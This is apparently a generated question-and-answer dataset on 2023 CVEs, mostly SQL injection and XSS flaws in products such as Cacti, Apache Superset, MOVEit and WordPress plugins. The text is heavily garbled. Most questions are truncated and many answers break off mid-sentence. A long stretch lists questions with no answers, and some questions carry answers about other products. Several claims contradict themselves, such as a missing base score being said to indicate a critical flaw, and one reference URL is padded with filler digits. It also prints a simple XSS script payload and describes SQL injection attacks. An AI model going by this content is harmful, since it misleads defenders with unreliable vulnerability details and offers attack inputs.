What privil To exploit CVE-2023-43610, an attacker would need to have editor-level privileges or higher.
Where can More information about CVE-2023-43610 can be found on the following websites: Japan V
Can you pr An attack scenario for CVE-2023-43610 could involve a malicious editor-level user crafting
Are there a Users are advised to refer to Welcart's official website or the security advisory related to C
What is CV CVE-2023-41335 refers to a vulnerability found in the Synapse software, which is an open-sou
What softv The software affected by CVE-2023-41335 is Synapse, an open-source Matrix homeserver.
How does !In CVE-2023-41335, when users update their passwords in Synapse, the new credentials ar
Has the iss Yes, the issue in CVE-2023-41335 has been addressed in Synapse version 1.93.0. Users run
Are there a No, there are no known workarounds for CVE-2023-41335. The recommended course of ac
Could you |Additional details about CVE-2023-41335 can be found at various sources including the Git
What are t Potential attack scenarios for CVE-2023-41335 include unauthorized access to database ba
What is CV CVE-2023-40046 refers to a security vulnerability identified in older versions of WS_FTP Se
Which vers CVE-2023-40046 affects WS_FTP Server versions prior to 8.7.4 and 8.8.2. Users of these ve
When was CVE-2023-40046 was published on 27 September 2023.

What are t The SQL injection vulnerability described in CVE-2023-40046 could have several impacts de
Where can More information and updates about CVE-2023-40046 can be found on the following webs
What mitig To mitigate CVE-2023-40046, it is recommended that users update their WS_FTP Server to
Could you |As an example of a SQL injection that might be exploited due to CVE-2023-40046, an attack
Can you de A potential attack scenario for CVE-2023-40046 could involve an attacker discovering the v
What is CV CVE-2023-41863 refers to a security vulnerability identified in the Pepro Dev. Group Pepro
How sever The Base Score for CVE-2023-41863 is not available. To understand the severity, the impac
When was CVE-2023-41863 was published on 25 September 2023.

What versi CVE-2023-41863 affects all versions of the PeproDev CF7 Database plugin up to and includ
Can you pr More information on CVE-2023-41863 can be found at the provided reference link: <https://>
What is an An attack scenario related to CVE-2023-41863 might involve an attacker crafting a malicio
Are there a Due to the nature of the vulnerability, providing a specific code example for CVE-2023-418
What is the The CVE ID for the Cross-Site Scripting (XSS) vulnerability in CMS Made Simple version 2.2.
What type CVE-2023-43339 is a Cross-Site Scripting (XSS) vulnerability.

In which cc A local attacker can execute arbitrary code in CMS Made Simple through CVE-2023-43339
Can you pr CVE-2023-43339 allows for the execution of arbitrary code via Cross-Site Scripting (XSS), w
What is the CVE-2023-43339 was published on 25 September 2023.

Are there a Yes, you can refer to the official CMS Made Simple website at <http://www.cmsmadesimple.org/>
What coulc Possible attack scenarios for CVE-2023-43339 include an attacker gaining access to the CM
Is there a E No, at the time the information was provided, a Base Score for CVE-2023-43339 was not availab
What steps If you are affected by CVE-2023-43339, it is recommended to check for updates from CMS
Could you |An example payload for CVE-2023-43339 could look something like this: `<script>alert('XSS')

What is CV CVE-2023-43640 refers to a security vulnerability in TaxonWorks, a web-based workbench

Which app TaxonWorks, a web-based workbench designed for taxonomists and biodiversity scientists

What can : By exploiting CVE-2023-43640, an authenticated attacker can perform SQL injection attack

How was C The mitigation for CVE-2023-43640 was implemented in TaxonWorks version 0.34.0. Users

Could you | While exact details of the CVE-2023-43640 vulnerability weren't disclosed, generic SQL inj

Which vers Users should upgrade to TaxonWorks version 0.34.0 or later to fix the SQL injection vulner

Can you de An attack scenario for CVE-2023-43640 involves an authenticated user of TaxonWorks craf

Where can More information about CVE-2023-43640 can be found in the official TaxonWorks GitHub i

What is CV CVE-2023-31717 refers to a security vulnerability that was discovered in the FUXA softwar

Which vers CVE-2023-31717 affects FUXA versions up to and including 1.1.12.

What kind Due to CVE-2023-31717, an attacker can perform a SQL Injection attack, which can lead to

What kind With CVE-2023-31717 being a SQL Injection vulnerability, an attacker might be able to exfi

When was CVE-2023-31717 was published on 22 September 2023.

Where can More information and updates about CVE-2023-31717 can be found on the CVE's official re

How can t To mitigate the impact of CVE-2023-31717, users of FUXA should patch their software to th

Can you pr An example SQL Injection attack scenario of CVE-2023-31717 could involve a malicious act

What is CV CVE-2023-4292 refers to a security vulnerability identified in Frauscher Sensortechnik Gmb

What kind CVE-2023-4292 is a SQL injection vulnerability.

Which pro The product affected by CVE-2023-4292 is Frauscher Sensortechnik GmbH FDS101 for FAd(

Does CVE-2023-4292 can be exploited without authentication through manipulated parame

What is t The base score for CVE-2023-4292 is not available or not applicable.

When was CVE-2023-4292 was published on 21 September 2023.

Where can More information about CVE-2023-4292 can be found at the VDE advisory page (Note: the

What type The database affected by CVE-2023-4292 contains limited, non-critical log information.

Can you gi An attack scenario for CVE-2023-4292 might involve an attacker crafting a malicious URL o

What step: To mitigate the impact of CVE-2023-4292, it is important to apply any available patches or

What is CV CVE-2023-42660 refers to a SQL injection vulnerability found in various versions of Progres

How can C An attacker who has authenticated access to the MOVEit Transfer machine interface could

What type CVE-2023-42660 is a SQL injection vulnerability, which typically allows an attacker to interf

What impa The exploitation of CVE-2023-42660 can have serious implications including the modificati

Have there Yes, patches have been released for CVE-2023-42660. Progress provided patches for MOVI

What coul An SQL injection in CVE-2023-42660 could involve submitting a payload with malicious SQL

Where can More information and updates about CVE-2023-42660 can be found on the Progress Comr

When was CVE-2023-42660 was published on September 20, 2023. Users and administrators of affect

What is CV CVE-2023-40043 is a security vulnerability involving a SQL injection in the MOVEit Transfer

When was CVE-2023-40043 was published on 20 September 2023.

Which vers CVE-2023-40043 affects Progress MOVEit Transfer versions released before 2021.1.8 (13.1

What can : By exploiting CVE-2023-40043, a MOVEit system administrator could potentially modify an

What type CVE-2023-40043 is classified as a SQL injection vulnerability.

Can you pr Yes, for more information about CVE-2023-40043, you can visit the following URLs: [https://

Can you de A possible attack scenario for CVE-2023-40043 includes a MOVEit system administrator cra

What actio To mitigate CVE-2023-40043, affected users should update their MOVEit Transfer to the lat

What is CV CVE-2023-4092 is a security vulnerability that refers to an SQL injection issue in Arconte Áu

What kind CVE-2023-4092 is an SQL injection vulnerability. This type of vulnerability occurs when an :

What can ↗ By exploiting CVE-2023-4092, an attacker could achieve a range of malicious objectives, including reading or modifying data in the database.

When was CVE-2023-4092 published? → CVE-2023-4092 was published on 19 September 2023.

Where can More information about CVE-2023-4092 can be found on the official security notice page ↗

Can you pr ↗ As CVE-2023-4092 is described as an SQL injection vulnerability, a potential code example could be:

What are p ↗ Possible attack scenarios for CVE-2023-4092 include an attacker crafting malicious inputs to exploit the SQL injection vulnerability.

What is CV ↗ CVE-2023-41387 refers to a vulnerability in the flutter_downloader component up to version 0.11.1.

How does ↗ iOS applications affected by CVE-2023-41387 are vulnerable to SQL injection attacks. If an application uses the flutter_downloader package to download files from a database, it could be susceptible to SQL injection.

What are t ↗ The consequences of the SQL injection vulnerability identified as CVE-2023-41387 include data loss or corruption.

Has a fix b ↗ As of the information available, there is no explicit mention of a fix being published for CVE-2023-41387.

Where can For more in-depth technical details or potential exploitation techniques regarding CVE-2023-41387, refer to the official GitHub repository ↗

Can you pr ↗ An attack scenario exploiting CVE-2023-41387 might involve a remote attacker crafting a malicious URL that contains SQL injection payload.

What is the The CVE ID of the reported vulnerability in SQLpage is CVE-2023-42454.

What versi Versions of SQLpage prior to 0.11.1 are affected by the vulnerability CVE-2023-42454.

What are t ↗ The conditions that make SQLpage instances vulnerable to CVE-2023-42454 include the use of an old version of the software.

How can sc ↗ To mitigate the risk of CVE-2023-42454, users should use an environment variable instead of hard-coded values.

When was The vulnerability CVE-2023-42454 was published on 18 September 2023.

Where can You can find more information or updates about CVE-2023-42454 on the official GitHub repository ↗

Can you pr ↗ An attack scenario for CVE-2023-42454 could involve an attacker discovering a publicly exposed environment variable and crafting a payload to exploit the vulnerability.

What is the Users running SQLpage versions affected by CVE-2023-42454 are recommended to update to the latest version.

What is the The CVE ID for the vulnerability found in SUNNET WMPro portal's FAQ function is CVE-2023-35851.

Can you de ↗ CVE-2023-35851 refers to a security vulnerability in the SUNNET WMPro portal's FAQ function.

Is there a p ↗ As of the information provided, there is no published base score for CVE-2023-35851.

When was CVE-2023-35851 was publicly disclosed on 18 September 2023.

What is a p ↗ A possible consequence of the vulnerability CVE-2023-35851 is that an attacker could exploit the hard-coded credentials to gain unauthorized access to the system.

Where can More details about CVE-2023-35851 can be found through the reference provided, which includes the official GitHub repository ↗

Can you pr ↗ Sure, below is a simplified hypothetical example of PHP code that could be susceptible to this vulnerability:

What coulc ↗ A potential attack scenario for CVE-2023-35851 could involve an attacker crafting a malicious URL that contains the hard-coded credentials.

What is CV ↗ CVE-2023-40717 refers to a security vulnerability involving the use of hard-coded credentials in FortiTester.

Which soft ↗ The CVE-2023-40717 affects FortiTester, a network testing tool developed by Fortinet, specifically for FortiGate devices.

How can C ↗ To exploit CVE-2023-40717, an attacker must first obtain a shell on the FortiTester device.

What is the Exploitation of CVE-2023-40717 can lead to unauthorized access to the FortiTester device's configuration and monitoring features.

Has the CV ↗ As of the publication date on 13 September 2023, the CVE-2023-40717 has not been assigned a CVSS score.

Where can More information about CVE-2023-40717 can be found in the advisory published by FortiGardian Security Research Team ↗

Can you gi ↗ Although specific code examples for exploiting CVE-2023-40717 are not released to the public, the vulnerability is known to affect FortiTester.

What Com ↗ CVE-2023-40717 belongs to the CWE-798 category, which represents the use of hard-coded credentials.

What step: ↗ To mitigate CVE-2023-40717, users of affected versions of FortiTester should follow the guidance provided in the advisory.

What is CV ↗ CVE-2023-4813 refers to a security flaw discovered in the GNU C Library (glibc). This vulnerability is a use-after-free condition.

When was CVE-2023-4813 was published on 12 September 2023.

What type! Systems that use the GNU C Library (glibc) and specifically call the getaddrinfo function are affected.

Are there ↗ Yes, more information about CVE-2023-4813 can be found through various references, including the official GitHub repository ↗

What is the The base score for CVE-2023-4813 has not been provided in the information I have. Scores are typically assigned by organizations like NIST.

Could you ↗ Since CVE-2023-4813 involves a use-after-free condition in the gaih_inet function in glibc, it can lead to memory corruption and potential crashes.

What are t ↗ The primary impact of the vulnerability identified by CVE-2023-4813 is an application crash or segmentation fault.

What is CV ↗ CVE-2023-21521 refers to a reported SQL Injection vulnerability in the Management Consoles of certain Fortinet devices.

How severe? The Base Score for CVE-2023-21521 is not available at this time. Typically, SQL Injection vulnerabilities have a high severity rating.

When was CVE-2023-21521 published? CVE-2023-21521 was published on 12 September 2023.

Where can Further information on CVE-2023-21521 can be found through the provided reference link.

What potential harm If an attacker successfully exploits CVE-2023-21521, they may carry out several harmful actions.

Can you provide an example attack scenario? An example attack scenario for CVE-2023-21521 might involve an attacker crafting a malicious SQL query.

What is CVE-2023-40726? CVE-2023-40726 is a security vulnerability identified in QMS Automotive's software. The vulnerability is a SQL injection.

When was CVE-2023-40726 published? CVE-2023-40726 was published on 12 September 2023.

How does CVE-2023-40726 compromise the security of QMS Automotive by allowing the application to execute arbitrary SQL queries?

Has a base score assigned? As of the provided information, a base score for CVE-2023-40726 has not been assigned or calculated.

Is there a patch available? Yes, QMS Automotive has addressed the vulnerability CVE-2023-40726 in versions V12.39 and V12.40.

Where can More information on CVE-2023-40726 can be found in the Siemens security advisory, which provides details on the affected software and mitigation steps.

What kind of attack scenarios are possible? The specific details of the leaked information due to CVE-2023-40726 are not provided, but it typically involves an attacker crafting a malicious SQL query.

What are the consequences? Possible attack scenarios for CVE-2023-40726 could involve an attacker exploiting the vulnerability to extract sensitive data from the database.

What is the CVE ID? The SQL injection vulnerability is identified by the CVE ID CVE-2023-35683.

What type of vulnerability is CVE-2023-35683? CVE-2023-35683 reports a SQL injection vulnerability in bindSelection of DatabaseUtils.java.

What are the known impacts? The exploitation of CVE-2023-35683 could lead to local information disclosure, where an attacker can read sensitive data from the database.

Is user interaction required? No, user interaction is not required for the exploitation of CVE-2023-35683.

When was it published? The CVE-2023-35683 vulnerability was published on 11 September 2023.

Where can official references be found? Official references for CVE-2023-35683 can be found on the following URLs: <https://android.googlesource.com/platform/frameworks/base/+/refs/heads/main/core/java/android/database/sqlite/DatabaseUtils.java>.

What remediation steps are recommended? For remediation of CVE-2023-35683, reviewing the changes referenced in the provided URL is recommended.

Discuss a possible attack scenario. A possible attack scenario for CVE-2023-35683 could involve a malicious application that crafts a SQL injection query to extract data from the database.

What is the severity? The Base Score for CVE-2023-35683 was not available at the time of publication.

Can you share more details? It's not possible to provide a specific code snippet without further context from the source code.

What is CVE-2023-40944? CVE-2023-40944 is a security vulnerability in Schoolmate version 1.3 that refers to an SQL injection vulnerability.

When was CVE-2023-40944 published? CVE-2023-40944 was published on 11 September 2023.

Which version of Schoolmate is affected? Schoolmate version 1.3 is affected by CVE-2023-40944.

What kind of vulnerability is CVE-2023-40944? CVE-2023-40944 is an SQL Injection vulnerability.

Where can more information about CVE-2023-40944 be found? More information about CVE-2023-40944 can be found at the following URL: <https://github.com/Schoolmate/Schoolmate/commit/3e3f3a2>.

What file is affected? The vulnerability CVE-2023-40944 is associated with the header.php file in Schoolmate 1.3.

Can you provide an example attack scenario? An attacker exploiting CVE-2023-40944 might craft a malicious URL or input that includes SQL injection payload.

What are the consequences? Possible attack scenarios for CVE-2023-40944 include an attacker executing arbitrary SQL commands on the database.

What is the vulnerability in? The vulnerability in RDpngFileUpload.dll used in the IRM Next Generation booking system.

Can you describe the vulnerability? CVE-2023-39424 refers to a vulnerability within the RDpngFileUpload.dll, which is utilized by the IRM Next Generation booking system.

What is the severity? The severity base score for CVE-2023-39424 has not been assigned or it is yet to be made available.

When was CVE-2023-39424 published? CVE-2023-39424 was published on 07 September 2023.

Are there any known workarounds? Yes, information about CVE-2023-39424 can be found in a detailed blog post from Bitdefender.

Could you explain the attack scenario? An attacker could theoretically exploit CVE-2023-39424 by first gaining access to hardcoded credentials and then crafting a malicious file upload.

What is CVE-2023-41053? CVE-2023-41053 is a vulnerability identified in the Redis in-memory database system. This vulnerability allows an attacker to execute arbitrary code.

Which version of Redis is affected? CVE-2023-41053 affects Redis version 7.0 or newer. It is recommended that users of the affected version apply the patch as soon as possible.

How has it been addressed? CVE-2023-41053 has been addressed by the Redis team with patches that correct the identified vulnerability.

Are there any known workarounds? There are no known workarounds for CVE-2023-41053, which is why it is critical for users to apply the patch as soon as possible.

Could you provide an example attack scenario? A potential attack scenario for CVE-2023-41053 would involve an attacker who has limited access to the Redis instance.

Where can more information and official advisories regarding CVE-2023-41053 be found? More information and official advisories regarding CVE-2023-41053 can be found in the Redis documentation.

What is CVE-2023-41601? CVE-2023-41601 refers to a security vulnerability involving multiple cross-site scripting (XSS) vulnerabilities.

When was CVE-2023-41601 published on 06 September 2023.

What type CVE-2023-41601 addresses multiple cross-site scripting (XSS) vulnerabilities.

What are the affected parameters in CVE-2023-41601 are the 'Database Username' and 'Database F

How could An attacker could exploit the vulnerabilities in CVE-2023-41601 by crafting a malicious pay

What is the risk associated with the XSS vulnerabilities in CVE-2023-41601 includes unauthorized a

Are there Yes, there are public references available for CVE-2023-41601. The vulnerability has been i

Is there a b As of the information provided, there is no base score (CVSS score) available for CVE-2023-

Could you | A possible attack scenario for CVE-2023-41601 involves a malicious user crafting a payload

What is CV CVE-2023-39511 is a security vulnerability identified in the Cacti open source operational r

Which vers The affected versions of Cacti by CVE-2023-39511 are the ones prior to version 1.2.25. The

How does t The XSS vulnerability in CVE-2023-39511 manifests when an authenticated user with the n

How can t To exploit the CVE-2023-39511 vulnerability, an attacker must have access to an authentic

What is th The recommended solution for addressing CVE-2023-39511 is to upgrade the affected Cac

Are there a Yes, there are multiple references providing additional information about CVE-2023-39511

What are s Possible attack scenarios for CVE-2023-39511 include an attacker who has gained authenti

What is CV CVE-2023-39265 is a security vulnerability identified in Apache Superset, a data exploratio

Which vers CVE-2023-39265 affects Apache Superset versions up to and including 2.1.0, meaning that

What is th The impact of CVE-2023-39265 on Apache Superset can range from unexpected file creatio

What are s Attack scenarios for CVE-2023-39265 could include an attacker exploiting the issue by deli

Has a CVE- As of the provided information, no base score has been assigned to CVE-2023-39265. The I

When was CVE-2023-39265 published on September 6, 2023.

Where can Additional information about CVE-2023-39265 can be found in the references provided, in

What is the The CVE ID for the vulnerability in Apache Superset that may lead to remote code executio

Which vers Apache Superset versions 1.5.0 up to and including 2.1.0 are affected by CVE-2023-37941.

What type To exploit the vulnerability described in CVE-2023-37941, an attacker would need to gain v

How can u Users can mitigate the risk posed by CVE-2023-37941 by upgrading to Apache Superset ver

What is th The potential impact of the vulnerability identified by CVE-2023-37941 includes the possib

On what d: CVE-2023-37941 was published on September 6, 2023.

Where can More information or advisories about CVE-2023-37941 can be found at the provided referen

Can you pr A possible attack scenario for CVE-2023-37941 might involve a scenario where an attacker

Is there a E No, as per the provided information, there is no Base Score available for CVE-2023-37941 ;

What is CV CVE-2023-36387 is a security vulnerability identified in Apache Superset versions up to and

In which ve CVE-2023-36387 affects Apache Superset versions up to and including 2.1.0.

What perm CVE-2023-36387 incorrectly grants permissions to Gamma users in Apache Superset to tes

What is th The impact of CVE-2023-36387 on affected systems is that it allows an authenticated Gami

What are t To get more information about CVE-2023-36387, you can refer to the pull request on Apac

When was CVE-2023-36387 was publicly disclosed on 06 September 2023.

Are there a While there are no specific code examples provided to demonstrate CVE-2023-36387 in ac

Can you de In a potential attack scenario for CVE-2023-36387, an authenticated user with Gamma-lev

Has CVE-2023-36387 As of the information provided, CVE-2023-36387 has not been assigned a base score.

What is CV CVE-2023-27523 refers to a vulnerability in Apache Superset, where there is an improper c

Which vers Apache Superset versions up to and including 2.1.0 are affected by CVE-2023-27523.

What migh By exploiting CVE-2023-27523, an attacker who is an authenticated user can bypass the int

When was CVE-2023-27523 was published on 06 September 2023.

Are there a Yes, more information can be found in the mailing list thread located at: <https://lists.apache.org/thread/m1yqjwv1z11111111111111111111111>
Can you pr Consider a scenario where an organization uses Apache Superset version 2.1.0 for data analysis.
What shou Organizations using Apache Superset should upgrade to the latest version of the software.
What is CV CVE-2023-4588 refers to a file accessibility vulnerability found in Delinea Secret Server version 10.9.0.000002.
How can C' An exploitation of CVE-2023-4588 can occur when an admin-level user redirects the backup path.
What is the If CVE-2023-4588 is successfully exploited, an organization's security could be significantly compromised.
What type: CVE-2023-4588 specifically affects Delinea Secret Server in versions 10.9.0.000002 and 11.4.
Can you pr In an attack scenario targeting CVE-2023-4588, an attacker with administrative access to the server.
Where can More information about CVE-2023-4588 can be found on the INCIBE (Spanish National Cybersecurity Center).
What is the CVE-2023-4588 was published on September 6th, 2023.

What is CV CVE-2023-4485 refers to a security vulnerability found in ARDEREG Sistema SCADA Central version 1.2.25.
How does t The impact of CVE-2023-4485 can be severe. An attacker could exploit this vulnerability to gain unauthorized access to the system.
Was a base As of the information provided, no base score has been assigned to CVE-2023-4485. This indicates that it is a critical vulnerability.
Can you pr An example of a potential SQL injection attack on CVE-2023-4485 might involve an attacker crafting SQL queries that manipulate data in the database.
What can t To mitigate the risk posed by CVE-2023-4485, system administrators should apply any available patches and updates.
Where can More information regarding CVE-2023-4485 can be found through the advisory published by the vendor.
What coul Potential attack scenarios for CVE-2023-4485 include an attacker crafting SQL queries that manipulate data in the database.
When was CVE-2023-4485 was published on September 6, 2023. Upon disclosure, affected users and organizations were urged to update their systems.
What is CV CVE-2023-39516 refers to a Stored Cross-Site Scripting (XSS) Vulnerability found in certain versions of Cacti.
Which Cacti The specific versions of Cacti affected by the vulnerability CVE-2023-39516 are not detailed in the advisory.
How can ai An attacker can exploit CVE-2023-39516 by configuring a malicious data-source path in Cacti.
What perr To exploit CVE-2023-39516, an attacker would need to have at least 'General Administration' privileges.
How has C' CVE-2023-39516 has been mitigated by addressing the vulnerability in Cacti version 1.2.25.
Where can More information about CVE-2023-39516 can be found in the security advisories and release notes.
Provide an In a CVE-2023-39516 attack, injecting a script into a data-source path field could look something like this:
What are s Potential attack scenarios for CVE-2023-39516 include, but are not limited to, stealing session cookies or modifying configuration files.
What is CV CVE-2023-39515 is an identified vulnerability in Cacti, an open-source operational monitor.
How does t CVE-2023-39515 affects Cacti by allowing an attacker with sufficient permissions to inject malicious code.
What versi Affected versions of Cacti include all the releases prior to version 1.2.25. Users running an older version should upgrade.
How can C' To mitigate CVE-2023-39515, users are advised to upgrade to Cacti version 1.2.25 or later.
What are s Additional information about CVE-2023-39515 can be found through various online references and forums.
Can you pr An example scenario involving CVE-2023-39515 would involve an attacker with the ability to inject malicious code into the system.
What is CV CVE-2023-39514 is a vulnerability identified in the open-source operational monitoring application Cacti.
How does t The vulnerability CVE-2023-39514 manifests in Cacti through the `graphs.php` script that handles graph generation.
What are t To exploit CVE-2023-39514, an attacker requires authenticated access to the Cacti instance.
What are t To address CVE-2023-39514, it is recommended that users upgrade their Cacti installation to version 1.2.25 or later.
Can you de A possible attack scenario for CVE-2023-39514 involves a low-privileged user with the ability to inject malicious code.
Where can More information about CVE-2023-39514 can be found in various security advisories and release notes.
On what d: CVE-2023-39514 was published on 05 September 2023.

Is there a E As of the provided information, there is no Base Score specified for CVE-2023-39514. The E indicates that it is a critical vulnerability.
What is CV CVE-2023-39513 is associated with a Stored Cross-Site Scripting (XSS) Vulnerability in Cacti.
Which vers Affected versions of Cacti include those prior to the release that fixes this vulnerability, which is Cacti version 1.2.25.
How does t CVE-2023-39513 manifests through an authenticated user's ability to inject malicious JavaScrip
Which scri The script involved in CVE-2023-39513 is 'host.php', which is used to monitor and manage the system.

What permission does an attacker need to have in Cacti to exploit this vulnerability?
What steps should users take to upgrade their Cacti version?
Can you provide a hypothetical code example of a payload for CVE-2023-39513?

In an attack scenario exploiting CVE-2023-39513, an attacker with the necessary permissions would craft a payload like this: ``html<

What are the security implications of this vulnerability?
More information about CVE-2023-39513 can be found in several references including the NIST CSIC.

When was CVE-2023-39513 published?

What is CVE-2023-39512?

How does CVE-2023-39512 affect users?

What versions of Cacti are affected by the vulnerability CVE-2023-39512?

How has CVE-2023-39512 been addressed in version 1.2.25 of Cacti?

What permission does an attacker need to have to exploit CVE-2023-39512?

What is a possible attack scenario for CVE-2023-39512?

Where can more information about CVE-2023-39512 be found?

Could you provide more details about the injected malicious code?

What is CVE-2023-39510?

Which script in Cacti is impacted by CVE-2023-39510?

How can the Stored XSS vulnerability in CVE-2023-39510 be exploited?

What permission does an attacker need to have to exploit CVE-2023-39510?

What versions of Cacti are affected by CVE-2023-39510?

What is the recommended action to address CVE-2023-39510?

Are there any references available for CVE-2023-39510?

Can you describe a possible attack scenario for CVE-2023-39510?

What is CVE-2023-39366?

How can an attacker exploit CVE-2023-39366?

What are the potential implications of the CVE-2023-39366 vulnerability?

Has CVE-2023-39366 been resolved in version 1.2.25 of Cacti?

If unable to upgrade, what steps can users take to mitigate the impact?

Where can additional information and advisories regarding CVE-2023-39366 be found?

What is CVE-2023-3221?

When was CVE-2023-3221 published?

Is there a base score assigned to CVE-2023-3221?

What functionality is affected by this vulnerability?

What are potential attack scenarios for CVE-2023-3221?

Where can more detailed information on CVE-2023-3221 be found?

What type of vulnerability is CVE-2023-3221?

Has CVE-2023-3221 been resolved in version 1.2.25 of Cacti?

What is CVE-2023-39983?

How severe is this security vulnerability?

When was CVE-2023-39983 published?

Are there any references available for CVE-2023-39983?

What versions of MXsecurity are affected by this vulnerability?

What might an attacker be able to do with this vulnerability?

Has CVE-2023-39983 been resolved in MXsecurity?

Can you describe a possible attack scenario for CVE-2023-39983?

What mitigate To mitigate CVE-2023-39983, users should immediately upgrade to MXsecurity version v1. What is CV CVE-2023-41636 refers to a SQL injection vulnerability discovered in GruppoSCAI RealGimm. How severe The severity of CVE-2023-41636 has not been provided with a Base Score in the information. When was CVE-2023-41636 was published on 31 August 2023.

Which version The version of GruppoSCAI RealGimm affected by CVE-2023-41636 is specifically 1.1.37p38.

Where can Additional information and proof of concept code for CVE-2023-41636 can be found at the

What could By exploiting the SQL injection vulnerability in CVE-2023-41636, an attacker could access s

Can you provide An example of a SQL injection might involve manipulating the Data Richiesta dal paramete

What are possible attack scenarios for exploiting CVE-2023-41636 include an attacker using a web fc

What is the The CVE ID for the vulnerability found in the WooCommerce PDF Invoice Builder plugin for

In which version The SQL Injection vulnerability is present in the WooCommerce PDF Invoice Builder plugin

Through what The SQL Injection can occur through the 'pageId' parameter in the WooCommerce PDF Inv

What user Subscribers or users with higher roles can exploit the SQL Injection vulnerability in the Wo

When was The vulnerability CVE-2023-3677 in the WooCommerce PDF Invoice Builder plugin was put

Can you provide Certainly! Here's a hypothetical code example that might illustrate the vulnerability in the '

Can you describe A possible attack scenario for CVE-2023-3677 involves an attacker who has credentials as a

Where can More information about the vulnerability CVE-2023-3677 can be found in the following ref

What is CV CVE-2023-2229 is a security vulnerability identified in the Quick Post Duplicator for WordP

How does it CVE-2023-2229 affects a WordPress website by allowing attackers with at least contributo

What privilege To exploit CVE-2023-2229, an attacker needs to have at least contributor-level privileges o

What are possible attack scenarios of CVE-2023-2229 include an attacker with contributor privileges

What is the The risk level of CVE-2023-2229 has not been explicitly provided as the Base Score is mark

What version CVE-2023-2229 affects all versions up to and including 2.0 of the Quick Post Duplicator plu

What means To mitigate CVE-2023-2229, website administrators using the Quick Post Duplicator plugin

Where can More information about CVE-2023-2229 can be found in the following references: the Wo

What is CV CVE-2023-2188 refers to a security vulnerability discovered in the Colibri Page Builder plug

Which version The versions of the Colibri Page Builder for WordPress that are affected by CVE-2023-2188

What type An attacker needs to have administrator-level privileges on the WordPress website to expl

When was CVE-2023-2188 was published on 31 August 2023.

Can you provide A potential attack scenario for CVE-2023-2188 would involve an attacker with administrati

Where can More information regarding CVE-2023-2188 can be found at the following URLs:- <https://pl>

What is CV CVE-2023-41041 is a security vulnerability found in Graylog, which is an open-source log m

How do I In a Graylog cluster affected by CVE-2023-41041, each node maintains an isolated in-mem

How can I The CVE-2023-41041 vulnerability can be exploited if an attacker gains access to a valid ses

What version The versions of Graylog affected by CVE-2023-41041 are those before the security issue wa

What has IBM To resolve CVE-2023-41041, Graylog has released patched versions of their software, spec

Where can More information and references about CVE-2023-41041 can be found in the Graylog GitHub

What is the The impact of CVE-2023-41041 on user perceptions is particularly concerning because, whi

What is CV CVE-2023-33852 is a security vulnerability within IBM Security Guardium 11.4 that allows f

How can an attacker An attacker can exploit CVE-2023-33852 by crafting malicious SQL statements and sending

What are the If CVE-2023-33852 is successfully exploited, an attacker could compromise the confidential

Has IBM assigned Yes, IBM has assigned the X-Force ID 257614 to CVE-2023-33852.

Where can More information about CVE-2023-33852 can be found by visiting the IBM X-Force webpage

What version CVE-2023-33852 affects IBM Security Guardium version 11.4.

Can you pr As security best practices discourage sharing specific exploit code for vulnerabilities such a
What kind CVE-2023-33852 is associated with a remote SQL injection attack, which is a code injection

What is the The CVE ID for the vulnerability found in ArcGIS Enterprise Server is CVE-2023-25848.

Can you de CVE-2023-25848 is an information disclosure vulnerability in ArcGIS Enterprise Server vers

What versi CVE-2023-25848 affects ArcGIS Enterprise Server versions 11.0 and below.

What is the The severity of the information disclosure issue in CVE-2023-25848 is considered low, as it

When was CVE-2023-25848 was published on 25 August 2023.

Where can More information and a potential fix for CVE-2023-25848 can be found at the following lin

What kind In an attack scenario exploiting CVE-2023-25848, a remote, unauthorized attacker could se

What is CV CVE-2023-38201 refers to a security vulnerability found in the Keylime registrar, which cou

When was CVE-2023-38201 was published on the 25th of August, 2023.

What are t CVE-2023-38201 could lead to a breach in the integrity of the Keylime registrar by enabling

What is the The Base Score for CVE-2023-38201 has not been provided in the information available.

Can you pr Yes, further details about CVE-2023-38201 can be found from the following sources:- Red F

What woul A possible attack scenario with CVE-2023-38201 could involve an attacker exploiting the fl

Has there t Yes, a commit on Keylime's GitHub repository indicates that a fix has been implemented. Y

Are there a While specific code examples detailing the nature of CVE-2023-38201 aren't provided in th

What does CVE-2023-41167 refers to a Cross-Site Scripting (XSS) vulnerability found in the '@webiny/

Which vers All versions of '@webiny/react-rich-text-renderer' before 5.37.2 are affected by the XSS vi

What type CVE-2023-41167 is an XSS (Cross-Site Scripting) vulnerability. It can be exploited if a conter

What is the The impact of CVE-2023-41167 can range from minor nuisances to significant security brea

Are there a Yes, you can refer to the security advisory published by Webiny on their GitHub page at 'ht

How was C CVE-2023-41167 was disclosed via a security advisory by Webiny, and it was published on :

Can you pr An example of an attack scenario involving CVE-2023-41167 would be a rogue content mai

What is the The CVE ID of the vulnerability affecting Datasette is CVE-2023-40570.

Which vers CVE-2023-40570 affects Datasette versions 1.0 alpha including 1.0a0, 1.0a1, 1.0a2, and 1.0

What is the CVE-2023-40570 describes a vulnerability where the `'/-/api` API explorer endpoint in Data

In which v The vulnerability CVE-2023-40570 was patched in Datasette version 1.0a4.

Can you pr CVE-2023-40570 was published on 25 August 2023.

Where can More information and the patch for CVE-2023-40570 can be found in the GitHub commit a

What coul By exploiting CVE-2023-40570, an attacker could potentially discover the names of the dat

Was the B No, the Base Score for CVE-2023-40570 was not provided in the vulnerability information.

What is CV CVE-2023-40182 refers to a security vulnerability found in Silverware Games, a premium s

How could An attacker could exploit CVE-2023-40182 by observing the time it takes for the Silverware

What versi CVE-2023-40182 was addressed in version 1.3.7 of Silverware Games, where the vulnerabi

Where can Additional details regarding CVE-2023-40182 can be found in the security advisory posted

What are t For users of Silverware Games, CVE-2023-40182 may have exposed their email addresses t

What is CV CVE-2023-40179 refers to a security vulnerability that was identified in Silverware Games,

How was t!The vulnerability in CVE-2023-40179 was addressed in version 1.3.6 of the Silverware Gam

What pote The attack scenarios associated with CVE-2023-40179 largely revolve around an attacker u

When was CVE-2023-40179 was published on 25 August 2023.

Are there a Yes, further information on CVE-2023-40179 can be found in the security advisory posted c

What is the The CVE ID for the session fixation vulnerability affecting Apache Airflow is CVE-2023-4027

What issue CVE-2023-40273 addresses a session fixation vulnerability that allowed authenticated user

